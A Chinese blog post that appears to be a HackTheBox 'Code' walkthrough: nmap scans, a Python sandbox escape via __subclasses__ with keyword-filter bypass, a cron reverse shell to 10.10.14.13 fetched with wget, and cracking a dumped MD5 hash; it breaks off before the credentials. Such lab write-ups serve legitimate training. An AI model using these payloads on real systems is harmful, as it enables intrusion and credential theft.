{"id":241,"date":"2025-03-23T18:26:36","date_gmt":"2025-03-23T10:26:36","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=241"},"modified":"2026-01-29T16:16:16","modified_gmt":"2026-01-29T08:16:16","slug":"241","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/03\/23\/241\/","title":{"rendered":"HTB\u9776\u673a Code \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"
\n

\u76ee\u6807\u4fe1\u606f<\/h1>\n

IP\u5730\u5740\uff1a<\/strong>10.10.11.62<\/strong><\/code><\/p><\/blockquote>\n

\n

\u4fe1\u606f\u6536\u96c6<\/h1>\n

ICMP\u68c0\u6d4b<\/h2>\n
PING 10.10.11.62 (10.10.11.62) 56(84) bytes of data.\n64 bytes from 10.10.11.62: icmp_seq=1 ttl=63 time=831 ms\n64 bytes from 10.10.11.62: icmp_seq=2 ttl=63 time=661 ms\n64 bytes from 10.10.11.62: icmp_seq=3 ttl=63 time=284 ms\n64 bytes from 10.10.11.62: icmp_seq=4 ttl=63 time=285 ms\n\n--- 10.10.11.62 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3001ms\nrtt min\/avg\/max\/mdev = 283.838\/515.127\/831.080\/238.587 ms<\/code><\/pre>\n
\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7684\u7f51\u7edc\u8fde\u63a5\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n
\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n
# Nmap 7.95 scan initiated Sun Mar 23 08:01:30 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.10.11.62\nNmap scan report for code.htb (10.10.11.62)\nHost is up (0.29s latency).\nAll 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Sun Mar 23 08:02:16 2025 -- 1 IP address (1 host up) scanned in 45.68 seconds<\/code><\/pre>\n
\u65e0\u6cd5\u786e\u5b9a\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n
\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n
TCP<\/strong><\/code>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Mar 23 08:04:47 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.10.11.62\nWarning: 10.10.11.62 giving up on port because retransmission cap hit (10).\nNmap scan report for code.htb (10.10.11.62)\nHost is up (0.26s latency).\nNot shown: 33602 filtered tcp ports (no-response), 31931 closed tcp ports (conn-refused)\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)\n|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)\n|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)\n5000\/tcp open  http    Gunicorn 20.0.4\n|_http-server-header: gunicorn\/20.0.4\n|_http-title: Python Code Editor\nDevice type: general purpose\nRunning: Linux 5.X\nOS CPE: cpe:\/o:linux:linux_kernel:5\nOS details: Linux 5.0 - 5.14\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   282.03 ms 10.10.14.1\n2   282.21 ms code.htb (10.10.11.62)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Mar 23 08:07:30 2025 -- 1 IP address (1 host up) scanned in 163.30 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
# Nmap 7.95 scan initiated Sun Mar 23 08:08:52 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.62\nWarning: 10.10.11.62 giving up on port because retransmission cap hit (10).\nNmap scan report for code.htb (10.10.11.62)\nHost is up (0.30s latency).\nAll 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.\nNot shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)\n\n# Nmap done at Sun Mar 23 08:12:55 2025 -- 1 IP address (1 host up) scanned in 242.48 seconds<\/code><\/pre>\n
UDP<\/strong><\/code>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n
\uff08\u65e0\uff09<\/code><\/pre>\n
\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3aUbuntu Linux<\/code>\uff0c\u57285000\/tcp<\/code>\u7aef\u53e3\u90e8\u7f72\u4e86Python Web<\/code>\u670d\u52a1\u3002\u6839\u636eHackTheBox<\/code>\u89c4\u5219\uff0c\u9776\u673a\u57df\u540d\u4e3acode.htb<\/code>\u3002<\/p>\n
\n
\u670d\u52a1\u63a2\u6d4b<\/h1>\n
SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n
\u7aef\u53e3Banner<\/code>\uff1a<\/p>\n
\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/code]\n\u2514\u2500# nc -nv 10.10.11.62 22 \n(UNKNOWN) [10.10.11.62] 22 (ssh) open\nSSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12<\/code><\/pre>\n
Web\u5e94\u7528\u7a0b\u5e8f\uff085000\u7aef\u53e3\uff09<\/h2>\n
\u6253\u5f00\u4e3b\u9875\uff1ahttp:\/\/code.htb:5000\/<\/code><\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u7f51\u9875\u90e8\u7f72\u4e86\u4e00\u4e2a\u5728\u7ebfPython<\/code>\u4ee3\u7801\u8fd0\u884c\u7cfb\u7edf\u3002\u5c1d\u8bd5\u8fd0\u884cos.system()<\/code>\u65b9\u6cd5\uff0c\u53d1\u73b0\u4e00\u4e9b\u5371\u9669\u5b57\u7b26\u88ab\u63a2\u6d4b\u4e86\uff1a<\/p>\n
\"\"<\/p>\n
\u901a\u8fc7\u5c1d\u8bd5\uff0c\u53d1\u73b0\u7a0b\u5e8f\u8fc7\u6ee4\u4e86\u5927\u91cfPython<\/code>\u7c7b\u5e93\u7684\u540d\u79f0\u548c\u5173\u952e\u5b57\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8epopen<\/code>\u3001eval<\/code>\u3001os<\/code>\u3001import<\/code>\u3001subprocess<\/code>\u548csystem<\/code>\u7b49\u7b49\u3002<\/p>\n
\u6e17\u900f\u6d4b\u8bd5<\/h1>\n
\u5728\u5bf9\u9776\u673a\u5728\u7ebfPython<\/code>\u4ee3\u7801\u8fd0\u884c\u5668\u7684\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u53d1\u73b0\u8be5Web<\/code>\u4ee3\u7801\u8fd0\u884c\u5668\u8fc7\u6ee4\u4e86\u5927\u91cfPython<\/code>\u7c7b\u5e93\u3001\u51fd\u6570\u540d\u79f0\u548c\u5173\u952e\u5b57\u3002\u5bf9\u4e8e\u8fd9\u79cd\u60c5\u51b5\uff0c\u53ea\u80fd\u901a\u8fc7\u83b7\u53d6Python<\/code>\u6240\u6709\u5bf9\u8c61\u7684\u57fa\u7c7b\uff0c\u968f\u540e\u4f7f\u7528__subclasses__()<\/code>\u65b9\u6cd5\u8bbf\u95ee\u5305\u542bos<\/code>\u7c7b\u5e93\u7684\u5371\u9669\u7c7b\uff0c\u5e76\u901a\u8fc7\u5b57\u7b26\u4e32\u5217\u8868\u7d22\u5f15\u7684\u65b9\u5f0f\u8c03\u7528Python<\/code>\u7684\u547d\u4ee4\u6267\u884c\u51fd\u6570\u3002\u901a\u5e38\uff0c\u6211\u4eec\u4f7f\u7528\u5982\u4e0bPython<\/code>\u4ee3\u7801\u83b7\u53d6Python<\/code>\u73af\u5883\u4e2d\u52a0\u8f7d\u7684\u6240\u6709\u7c7b\u5e93\uff1a<\/p>\n
print([].__class__.__base__.__subclasses__())<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u83b7\u53d6\u52a0\u8f7d\u7c7b\u5217\u8868\uff01\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u9700\u8981\u7f16\u5199\u811a\u672c\uff0c\u5c06\u6bcf\u4e00\u4e2a\u7c7b\u7684\u540d\u79f0\u4e0b\u8f7d\u5e76\u4fdd\u5b58\u5230\u6570\u7ec4\u4e2d\uff0c\u7136\u540e\u5bfb\u627e\u5305\u542bos<\/code>\u5e93\u7684\u7c7b\u5e93\u3002\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528warnings.catch_warnings<\/code>\u7c7b\u6267\u884cos.popen<\/code>\u51fd\u6570\u3002\u8be5\u7c7b\u5e93\u8c03\u7528\u4e86os<\/code>\u7c7b\u5e93\u3002<\/p>\n
\u9996\u5148\u786e\u5b9aHTTP<\/code>\u8bf7\u6c42\u5305\u7684\u5185\u5bb9\uff0c\u4f7f\u7528BurpSuite<\/code>\u62e6\u622a\u8be5\u7f51\u7edc\u8bf7\u6c42\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0\u63a5\u6536\u5e76\u6267\u884cPython<\/code>\u4ee3\u7801\u7684\u7aef\u70b9\u4e3a\/run_code<\/code>\uff0c\u4f20\u9012\u4ee3\u7801\u7684HTTP POST<\/code>\u53c2\u6570\u4e3acode<\/code>\u3002<\/p>\n
\u76f4\u63a5\u7f16\u5199\u5982\u4e0bPython<\/code>\u811a\u672c\uff1a<\/p>\n
#!\/usr\/bin\/python3\nimport json\nimport requests\n\nurl = \"http:\/\/code.htb:5000\/run_code\"\nheader = {\n    \"Host\": \"code.htb:5000\",\n    \"User-Agent\": \"Mozilla\/5.0 (X11; Linux x86_64; rv:128.0) Gecko\/20100101 Firefox\/128.0\",\n    \"Accept\": \"*\/*\",\n    \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Content-Type\": \"application\/x-www-form-urlencoded; charset=UTF-8\",\n    \"X-Requested-With\": \"XMLHttpRequest\",\n    \"Origin\": \"http:\/\/code.htb:5000\",\n    \"Connection\": \"keep-alive\",\n    \"Referer\": \"http:\/\/code.htb:5000\/\",\n    \"Priority\": \"u=0\"\n}\ndata = {\"code\": \"print([].__class__.__base__.__subclasses__())\"}\n\nclasslist = json.loads(requests.post(url=url, headers=header, data=data).text)[\"output\"].strip(\"n]\").strip(\"[\").split(\", \")\nfor i in range(0, len(classlist)):\n    classlist[i] = classlist[i].strip(\"<class '\").strip(\"'>\")\nfor i in range(0, len(classlist)):\n    if \"warnings.catch_warnings\" in classlist[i]:\n        print(\"[+] Found class: %s, Index = %d\" %(classlist[i], i))\n<\/code><\/pre>\n
\u8be5\u811a\u672c\u5411\u9776\u673a\u5728\u7ebf\u4ee3\u7801\u8fd0\u884c\u5668\u63d0\u4ea4\u83b7\u53d6Python<\/code>\u73af\u5883\u4e2d\u6240\u6709\u7c7b\u5e93\u7684\u4ee3\u7801\uff0c\u5e76\u6839\u636e\u9017\u53f7\u5c06\u54cd\u5e94\u5185\u5bb9\u5206\u5272\u4e3a\u6570\u7ec4\uff0c\u968f\u540e\u4f7f\u7528strip()<\/code>\u65b9\u6cd5\u5c06\u591a\u4f59\u7684\u5b57\u7b26\u5220\u9664\uff0c\u6700\u540e\u5728\u6570\u7ec4\u5185\u67e5\u627ewarnings.catch_warnings<\/code>\u5b57\u7b26\u4e32\uff1a<\/p>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0warnings.catch_warnings<\/code>\u7c7b\u5e93\u5728\u9776\u673aPython<\/code>\u57fa\u7c7b__subclasses__()<\/code>\u65b9\u6cd5\u8fd4\u56de\u6570\u7ec4\u4e2d\u7684\u7d22\u5f15\uff1a139<\/code>\uff01<\/p>\n
\u76f4\u63a5\u6267\u884c\u5982\u4e0b\u4ee3\u7801\uff0c\u52a0\u8f7dos.popen<\/code>\u51fd\u6570\uff0c\u8fd0\u884cid<\/code>\u547d\u4ee4\u3002\u5bf9\u4e8e\u88ab\u8fc7\u6ee4\u7684\u5173\u952e\u5b57\u548c\u51fd\u6570\u540d\uff0c\u53ef\u4ee5\u4f7f\u7528+<\/code>\u53f7\u62fc\u63a5\u5b57\u7b26\u4e32\u8fdb\u884c\u7ed5\u8fc7\uff1a<\/p>\n
print([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"id\").rea'+'d()'))<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u6267\u884cid<\/code>\u547d\u4ee4\uff01\u63a5\u4e0b\u6765\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6dfb\u52a0Linux<\/code>\u8ba1\u5212\u4efb\u52a1\u540e\u95e8\u7684\u65b9\u5f0f\u6765\u63a5\u6536\u53cd\u5f39Shell<\/code>\u3002\u9996\u5148\u5728\u672c\u5730\u7f16\u5199\u6076\u610f\u8ba1\u5212\u4efb\u52a1\u914d\u7f6e\u6587\u4ef6revshell_cron.txt<\/code>\uff1a<\/p>\n
*\/1 * * * * \/bin\/bash -c 'bash -i >& \/dev\/tcp\/10.10.14.13\/443 0>&1'<\/code><\/pre>\n
\u968f\u540e\u5728\u672c\u5730\u542f\u52a8SimpleHTTPServer<\/code>\u548cNetCat<\/code>\u76d1\u542c\uff0c\u4f7f\u7528\u5728\u7ebf\u4ee3\u7801\u8fd0\u884c\u5668\u6267\u884cwget<\/code>\u547d\u4ee4\u4e0b\u8f7d\u6076\u610f\u914d\u7f6e\u6587\u4ef6\uff0c\u5e76\u901a\u8fc7crontab<\/code>\u7cfb\u7edf\u547d\u4ee4\u6dfb\u52a0\u8ba1\u5212\u4efb\u52a1\uff1a<\/p>\n
[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"wget http:\/\/10.10.14.13\/revshell_cron.txt -O \/tmp\/revshell_cron.txt\").rea'+'d()')\n[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"cat \/tmp\/revshell_cron.txt | crontab\").rea'+'d()')\nprint([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__(\"o'+'s\").po'+'pen(\"crontab -l\").rea'+'d()'))<\/code><\/pre>\n
\"\"<\/p>\n
\u6dfb\u52a0\u6210\u529f\uff01\uff01<\/strong><\/p>\n
\u7b49\u5f85\u4e00\u5206\u949f\u540e\uff0c\u63a5\u6536\u5230\u53cd\u5f39Shell<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\n
\u6743\u9650\u63d0\u5347<\/h1>\n
\u79fb\u52a8\u81f3martin\u7528\u6237<\/h2>\n
\u8fdb\u5165\u7cfb\u7edf\u540e\uff0c\u6267\u884c\u76ee\u5f55\u4fe1\u606f\u6536\u96c6\u3002\u5728\/home\/app-production\/app\/instance<\/code>\u76ee\u5f55\u4e0b\u53d1\u73b0SQLite<\/code>\u6570\u636e\u5e93\u6587\u4ef6database.db<\/code>\uff1a<\/p>\n
\"\"<\/p>\n
\u540c\u65f6\u67e5\u770bPython Web<\/code>\u5e94\u7528\u7a0b\u5e8f\u4ee3\u7801\uff1a\/home\/app-production\/app\/app.py<\/code>\uff1a<\/p>\n
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash\nfrom flask_sqlalchemy import SQLAlchemy\nimport sys\nimport io\nimport os\nimport hashlib\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = \"7j4D5htxLHUiffsjLXB1z9GaZ5\"\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:\/\/\/database.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nclass User(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    username = db.Column(db.String(80), unique=True, nullable=False)\n    password = db.Column(db.String(80), nullable=False)\n    codes = db.relationship('Code', backref='user', lazy=True)\n\nclass Code(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)\n    code = db.Column(db.Text, nullable=False)\n    name = db.Column(db.String(100), nullable=False)\n\n    def __init__(self, user_id, code, name):\n        self.user_id = user_id\n        self.code = code\n        self.name = name\n\n@app.route('\/')\ndef index():\n    code_id = request.args.get('code_id')\n    return render_template('index.html', code_id=code_id)\n\n@app.route('\/register', methods=['GET', 'POST'])\ndef register():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = hashlib.md5(request.form['password'].encode()).hexdigest()\n        existing_user = User.query.filter_by(username=username).first()\n        if existing_user:\n            flash('User already exists. Please choose a different username.')\n        else:\n            new_user = User(username=username, password=password)\n            db.session.add(new_user)\n            db.session.commit()\n            flash('Registration successful! You can now log in.')\n            return redirect(url_for('login'))\n\n    return render_template('register.html')\n\n@app.route('\/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = hashlib.md5(request.form['password'].encode()).hexdigest()\n        user = User.query.filter_by(username=username, password=password).first()\n        if user:\n            session['user_id'] = user.id\n            flash('Login successful!')\n            return redirect(url_for('index'))\n        else:\n            flash('Invalid credentials. Please try again.')\n    return render_template('login.html')\n\n@app.route('\/logout')\ndef logout():\n    session.pop('user_id', None)\n    flash('You have been logged out.')\n    return redirect(url_for('index'))\n\n@app.route('\/run_code', methods=['POST'])\ndef  run_code():\n    code = request.form['code']\n    old_stdout = sys.stdout\n    redirected_output = sys.stdout = io.StringIO()\n    try:\n        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:\n            if keyword in code.lower():\n                return jsonify({'output': 'Use of restricted keywords is not allowed.'})\n        exec(code)\n        output = redirected_output.getvalue()\n    except Exception as e:\n        output = str(e)\n    finally:\n        sys.stdout = old_stdout\n    return jsonify({'output': output})\n\n@app.route('\/load_code\/<int:code_id>')\ndef load_code(code_id):\n    if 'user_id' not in session:\n        flash('You must be logged in to view your codes.')\n        return redirect(url_for('login'))\n    code = Code.query.get_or_404(code_id)\n    if code.user_id != session['user_id']:\n        flash('You do not have permission to view this code.')\n        return redirect(url_for('codes'))\n    return jsonify({'code': code.code})\n\n@app.route('\/save_code', methods=['POST'])\ndef save_code():\n    if 'user_id' not in session:\n        return jsonify({'message': 'You must be logged in to save code.'}), 401\n    user_id = session['user_id']\n    code = request.form.get('code')\n    name = request.form.get('name')\n    if not code or not name:\n        return jsonify({'message': 'Code and name are required.'}), 400\n    new_code = Code(user_id=user_id, code=code, name=name)\n    db.session.add(new_code)\n    db.session.commit()\n    return jsonify({'message': 'Code saved successfully!'})\n\n@app.route('\/codes', methods=['GET', 'POST'])\ndef codes():\n\n    if 'user_id' not in session:\n        flash('You must be logged in to view your codes.')\n        return redirect(url_for('login'))\n\n    user_id = session['user_id']\n    codes = Code.query.filter_by(user_id=user_id).all()\n\n    if request.method == 'POST':\n        code_id = request.form.get('code_id')\n        code = Code.query.get(code_id)\n        if code and code.user_id == user_id:\n            db.session.delete(code)\n            db.session.commit()\n            flash('Code deleted successfully!')\n        else:\n            flash('Code not found or you do not have permission to delete it.')\n        return redirect(url_for('codes'))     \n    return render_template('codes.html',codes=codes)\n\n@app.route('\/about')\ndef about():\n    return render_template('about.html')\n\nif __name__ == '__main__':\n    if not os.path.exists('database.db'):\n        with app.app_context():\n            db.create_all()\n    app.run(host='0.0.0.0', port=5000)<\/code><\/pre>\n
\u53d1\u73b0\u7528\u6237\u5bc6\u7801\u4f7f\u7528\u7684\u54c8\u5e0c\u6458\u8981\u7b97\u6cd5\u4e3aMD5<\/code>\u3002\u76f4\u63a5\u5c06database.db<\/code>\u6587\u4ef6\u901a\u8fc7scp<\/code>\u5de5\u5177\u4f20\u8f93\u5230\u653b\u51fb\u673a\u4e0a\uff0c\u4f7f\u7528sqlitebrowser<\/code>\u5de5\u5177\u6253\u5f00user<\/code>\u8868\uff1a<\/p>\n
\"\"<\/p>\n
\u53d1\u73b0martin<\/code>\u7528\u6237\u7684\u54c8\u5e0c\u503c\u4e3a3de6f30c4a09c27fc71932bfc68474be<\/code>\uff0c\u4f7f\u7528hashcat<\/code>\u7834\u89e3\uff1a<\/p>\n
.hashcat.exe -m 0 -a 0 \"3de6f30c4a09c27fc71932bfc68474be\" .rockyou.txt --force<\/code><\/pre>\n
\"\"<\/p>\n
\u6210\u529f\u53d1\u73b0\u5982\u4e0b\u7528\u6237\u51ed\u636e\uff1a<\/p>\n